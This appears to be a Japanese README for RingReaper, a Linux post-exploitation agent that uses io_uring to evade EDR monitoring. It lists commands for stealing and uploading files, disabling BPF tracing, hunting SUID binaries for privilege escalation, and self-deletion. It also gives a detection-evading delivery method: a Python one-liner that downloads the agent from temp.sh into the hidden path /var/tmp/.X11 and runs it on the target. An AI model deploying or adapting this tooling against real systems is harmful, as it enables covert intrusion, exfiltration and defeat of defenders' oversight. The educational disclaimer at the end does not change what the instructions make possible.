
io_uringを使用して従来のsyscallを回避することで、EDRの検出をステルス的にバイパスするLinuxポストエクスプロイテーションエージェント。
RingReaperは、EDRソリューションに検知される可能性を最小限に抑えながら、ステルスに動作する必要がある人向けに設計された、Linux向けのシンプルなポストエクスプロイテーションエージェントです。このプロジェクトの背後にあるアイデアは、Linuxカーネルの新しい非同期I/Oインターフェースであるio_uringを活用して、ほとんどのEDRが監視またはフックする傾向にある従来のシステムコールを回避することです。
実際には、RingReaperはread、write、recv、send、connectなどの呼び出しを非同期I/O操作(io_uring_prep_*)に置き換え、セキュリティ製品が標準的な方法で収集する傾向にあるフックやイベントトレースへの露出を減らします。
注記: RingReaper内の一部の関数は、ディレクトリ読み取り(
opendir、readdir)やシンボリックリンク解決(readlink)などの従来の呼び出しに依然依存しています。これは、io_uringがこれらの種類の操作をネイティブにまだ完全にはサポートしていないためです。それでも、私のテストでは、これらの呼び出しが監視対象のネットワークI/Oパスから外れているため、テストしたEDRでアラートを引き起こしませんでした。
要約すると、RingReaperは従来の呼び出しを可能な限り回避するように構築されており、それらを使用せざるを得なかった場合でも、一般的なセキュリティエージェントからのアラートや検知なしに、優れた回避能力を実証しました。
完全で詳細な記事は以下をご覧ください:
https://matheuzsecurity.github.io/hacking/evading-linux-edrs-with-io-uring/
作者:https://www.linkedin.com/in/mathsalves/
ルートキット研究者
| Command | Description | Backend |
|---|---|---|
get | ターゲットからファイルを探す | 100% io_uring |
put | ファイルをアップロードする(エージェント側でrecvを使用) | 100% io_uring |
killbpf | トレースを無効化し、/sys/fs/bpfファイルを削除して、bpf-mapを使用するプロセスを強制終了する | 従来の呼び出し + io_uring |
users | utmpを読み取ってログイン中のユーザーを一覧表示する | 100% io_uring |
ss / netstat | /proc/net/tcpからTCP接続を一覧表示する | 100% io_uring |
privesc | statxを使用してSUIDバイナリを検索する | 100% io_uring |
ps | プロセスを一覧表示する(opendir、readdirを使用) | 従来の呼び出し + io_uring |
kick | ptsセッションを強制終了する(opendir、readdir、kill、readlinkを使用) | 従来の呼び出し + io_uring |
me | PID/TTYを表示する(getpid、ttyname) | 従来の呼び出し + io_uring |
selfdestruct | 現在のバイナリを削除する(readlinkを使用) | 従来の呼び出し + io_uring |
exit | 接続を終了してエージェントを終了する | 100% io_uring |
help | ヘルプを表示する | 100% io_uring |
RingReaperでは、制御コマンド、アップロード、ダウンロードを含むすべてのデータトラフィックがio_uringを通過する必要があります。これにより、最も機密性の高い操作も、従来の呼び出しに基づくフックやEDR監視のレーダーから外れた状態が保証されます。
RingReaperは、EDRの監視をバイパスするためにゼロから設計されました。多くのセキュリティソリューションは、カーネルレベルで古典的なシステムコール(read、recv、send、connect)をインターセプトすることに検知トリガーを基づかせています。io_uringは比較的新しく、これらの製品のテレメトリパイプラインへの統合が進んでいないため、ほとんどのエージェントに見逃されることが多く、アラートを発生させずにC2セッションやデータの外部送信が可能になります。
古いシステムコールに依然依存している関数(ディレクトリ読み取りなど)でさえ、アラームを発生させないほど十分に目立たないままでした。
liburingライブラリ以下のカーネルバージョンのみでテスト済み;
sudo apt install liburing-dev -y
gcc agent.c -o agent -luring -O2 -s -static
テスト中、EDRがGCCの使用状況をリアルタイムで監視してagent.cのコンパイルを検知することに気付きました(wget/curlは使わないほうがよいでしょう)。これを回避するために、自分のマシンでエージェントを静的コンパイルし、temp.sh経由で完成したバイナリを送信し、ターゲット上でPythonを使ってダウンロード・実行しました。この手法は警告なしに機能しました。
サーバー(攻撃ボックス):
curl -F "file=@agent" https://temp.sh/uploadpython3 server.py --ip IP --port 443エージェント(ターゲットマシン):
python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/stealth_agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"バージョン2.0:
プルリクエストを作成してプロジェクトに気軽に貢献してください。 RingReaperに関するエラーは、issueを作成してお知らせください。
このコードは、教育目的、研究、および回避技術の管理されたデモンストレーションのみのために開発されました。許可された環境以外での使用、または悪意のある目的での使用は固く禁止されており、その責任はすべてユーザーにあります。不正または違法な使用は、地域、国内、または国際法に違反する可能性があります。